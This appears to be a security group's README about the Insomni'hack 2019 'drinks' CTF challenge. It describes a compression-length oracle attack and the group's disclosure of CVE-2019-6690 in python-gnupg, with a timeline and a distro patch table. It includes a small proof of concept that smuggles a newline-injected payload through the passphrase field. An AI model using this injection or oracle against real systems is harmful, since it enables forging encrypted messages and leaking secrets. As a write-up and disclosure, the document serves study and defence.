README.md
Rendering markdown...
* We played "drinks" CTF at Hackeriet in Jan 2019
From Insomni'hack teaser 2019
https://ctftime.org/task/7458
#+BEGIN_SRC text
Use this API to gift drink vouchers to yourself or your friends!
http://drinks.teaser.insomnihack.ch
http://146.148.126.185 <- 2nd instance if the first one is too slow
Vouchers are encrypted and you can only redeem them if you know the passphrase.
Because it is important to stay hydrated, here is the passphrase for water: WATER_2019.
Beers are for l33t h4x0rs only.
#+END_SRC
* drinks: server.py
#+BEGIN_SRC python
from flask import Flask,request,abort
import gnupg
import time
import json
app = Flask(__name__)
gpg = gnupg.GPG(gnupghome="/tmp/gpg", verbose=True, )
couponCodes = {
"water": "WATER_2019",
"beer" : "█████████████████████████████████" # REDACTED
}
@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():
content = request.json
(recipientName,drink) = (content['recipientName'],content['drink'])
encryptedVoucher = str(gpg.encrypt(
"%s||%s" % (recipientName,couponCodes[drink]),
recipients = None,
symmetric = True,
passphrase = couponCodes[drink]
)).replace("PGP MESSAGE","DRINK VOUCHER")
return encryptedVoucher
@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():
content = request.json
(encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
decryptedVoucher = str(gpg.decrypt(
encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
passphrase = passphrase
))
print(json.dumps(decryptedVoucher))
(recipientName,couponCode) = decryptedVoucher.split("||")
if couponCode == couponCodes["water"]:
return "Here is some fresh water for %s\n" % recipientName
elif couponCode == couponCodes["beer"]:
return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
else:
abort(500)
if __name__ == "__main__":
app.run(host='0.0.0.0')
#+END_SRC
* drinks: coupon codes
#+BEGIN_SRC python
couponCodes = {
"water": "WATER_2019",
"beer" : "█████████████████████████████████" # REDACTED
}
#+END_SRC
* drinks: issuing voucher
#+BEGIN_SRC python
@app.route("/generateEncryptedVoucher", methods=['POST'])
def generateEncryptedVoucher():
content = request.json
(recipientName,drink) = (content['recipientName'],content['drink'])
encryptedVoucher = str(gpg.encrypt(
"%s||%s" % (recipientName,couponCodes[drink]),
recipients = None,
symmetric = True,
passphrase = couponCodes[drink]
)).replace("PGP MESSAGE","DRINK VOUCHER")
return encryptedVoucher
#+END_SRC
* drinks: claiming voucher
#+BEGIN_SRC python
@app.route("/redeemEncryptedVoucher", methods=['POST'])
def redeemEncryptedVoucher():
content = request.json
(encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
decryptedVoucher = str(gpg.decrypt(
encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
passphrase = passphrase
))
print(json.dumps(decryptedVoucher))
(recipientName,couponCode) = decryptedVoucher.split("||")
if couponCode == couponCodes["water"]:
return "Here is some fresh water for %s\n" % recipientName
elif couponCode == couponCodes["beer"]:
return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode)
else:
abort(500)
#+END_SRC
* We didn't succeed in getting the flag.
From GNU-E-Ducks writeup: https://ctftime.org/writeup/12927
".. pgp compresses the message before encrypting it. This was the eureka
moment, and I realized the if the recipientName we supply to
generateEncryptedVoucher was similar to the coupon code for the drink, the
length of the drink voucher would be less than if they were disimilar. Thus
we have an oracle which leaks information about the rest of the plaintext!"
For example
#+BEGIN_SRC python
len(generateEncryptedVoucher('', 'water')) == 179
#+END_SRC
and
#+BEGIN_SRC python
len(generateEncryptedVoucher('WATER_2019', 'water')) == 179
#+END_SRC
Since our plaintext is WATER_2019||WATER_2019, the common strings are compressed.
The solution is to start with an prefix and check the length of ciphertext of
the prefix appended with each character in the alphabet. If the length is less
than the others, it is considered a candidate in the next round. In practice,
some manual intervention is required to eliminate unlikely prefixes, such as
G1MME________ in favor of more likely prefixes such as G1MME_B33R_PL. For
example, I left the algorithm to run and this is what it decided the flag was:
G1MME_B33R_PLZ_1MME_B33RY_TH1RSTY, even though the correct flag is
G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY
* But we found something else: gpg --symmetric --passphrase-fd 0
The code uses python-gnupg, which use call gpg on the command line. Since we can
supply a passphrase as input, we tried to send in some control chars like \n
To supply the passphrase to gpg for decryption, python-gnupg sends it as the
first line on stdin to the gpg process. And there is no validation of allowed
characters in the passphrase.
All interactions with gpg happens over a system shell, for the gpg libraries in
many languages.
python-gnupg 0.4.3:
#+BEGIN_SRC python
cmd = [self.gpgbinary, '--status-fd', '2', '--no-tty', '--no-verbose', ... ]
result = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE, startupinfo=si)
#+END_SRC
https://bitbucket.org/vinay.sajip/python-gnupg/src/e0f2692d6539aca706b63dba22d900d2c70d59f8/gnupg.py#lines-885
* normal usage: encrypt
#+BEGIN_SRC shell
echo -e "passphrase\nMY_SECRET_STRING" | \
gpg --symmetric --batch --pinentry-mode loopback --passphrase-fd 0 | \
> /tmp/encrypted.gpg
#+END_SRC
* normal usage: decrypt
#+BEGIN_SRC shell
echo -e "passphrase\n$(cat /tmp/encrypted.gpg)" | \
gpg --decrypt --batch --pinentry-mode loopback --passphrase-fd 0
#+END_SRC
* PoC
#+BEGIN_SRC python
import gnupg, sys
def encrypt_data(password):
return str(gpg.encrypt("expected message", passphrase=password,
symmetric=True, recipients=False))
gpg = gnupg.GPG(gnupghome="/tmp/gpg")
in_password = sys.stdin.read()
print(encrypt_data(in_password))
#+END_SRC
#+BEGIN_SRC shell :results output
echo -e "p4ssw0rd\n!MALICIOUS MESSAGE!" \
| ./vulnerable.py > /tmp/msg.gpg
gpg -d --pinentry-mode loopback --passphrase p4ssw0rd /tmp/msg.gpg
#+END_SRC
* CVE-2019-6690
https://blog.hackeriet.no/cve-2019-6690-python-gnupg-vulnerability/
Thx to the python-gnupg maintainer (@vsajip) for releasing a fixed version very
fast. (2 days)
** 2019-01-19: Discovered vuln in 0.4.3
** 2019-01-22: Maintainer notified
** 2019-01-24: Disclosed, maintainer releases0.4.4
* python-gnupg: distribution patch status
|-----------------+------------+--------------------------
| distro | patched | version
|-----------------+------------+--------------------------
| NixOS | 2019-01-25 | 0.4.4
| SUSE: Leap | 2019-02-07 | 0.4.4-lp150.2.6.1
| Debian: Jessie | 2019-02-14 | 0.3.6-1+deb8u1
| Mageia | 2019-03-07 | 0.4.4-1.mga6
| Ubuntu: Bionic | 2019-04-30 | 0.4.1-1ubuntu1.18.04.1
| Debian: Stretch | not fixed | not fixed
| Gentoo | ? | ?
|-----------------+------------+--------------------------
https://advisories.mageia.org/MGASA-2019-0105.html
https://security-tracker.debian.org/tracker/CVE-2019-6690
https://www.suse.com/security/cve/CVE-2019-6690/
https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-6690.html